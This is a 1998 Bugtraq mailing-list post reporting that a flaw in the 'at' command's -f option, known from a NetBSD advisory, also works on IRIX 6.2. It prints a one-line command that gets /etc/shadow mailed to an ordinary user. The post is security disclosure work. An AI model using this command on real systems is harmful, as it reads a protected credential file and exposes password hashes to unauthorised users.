OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq archives for 3rd quarter (Jul-Sep) 1998: more about 'at'

more about 'at'

J.A. Gutierrez (spdGTC1.CPS.UNIZAR.ES)
Fri, 3 Jul 1998 22:14:14 +0200 

    I've tried the trick from NetBSD Security Advisory 1998-004
    on an IRIX 6.2 host, and it seems it works too.

        $ at -f /etc/shadow now + 1 minute
        -> shadow is mailed to user:

    'at' is:

        f 23947    91 patchSG0002866.eoe_sw.unix m usr/bin/at

    there is an earlier patch for a buffer overrun on at, I guess
    the fix is also included in patchSG0002866; but the '-f'
    bug is still present.

    (IRIX 5.3 has no problem since its 'at' lacks of '-f'
    switch)


--
finger spdgtc1.cps.unizar.es for PGP       /              So be easy and free
.mailcap tip of the day:                   /      when you're drinking with me
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day
text/x-vcard; cat '%s' > /dev/null       /            (the pogues)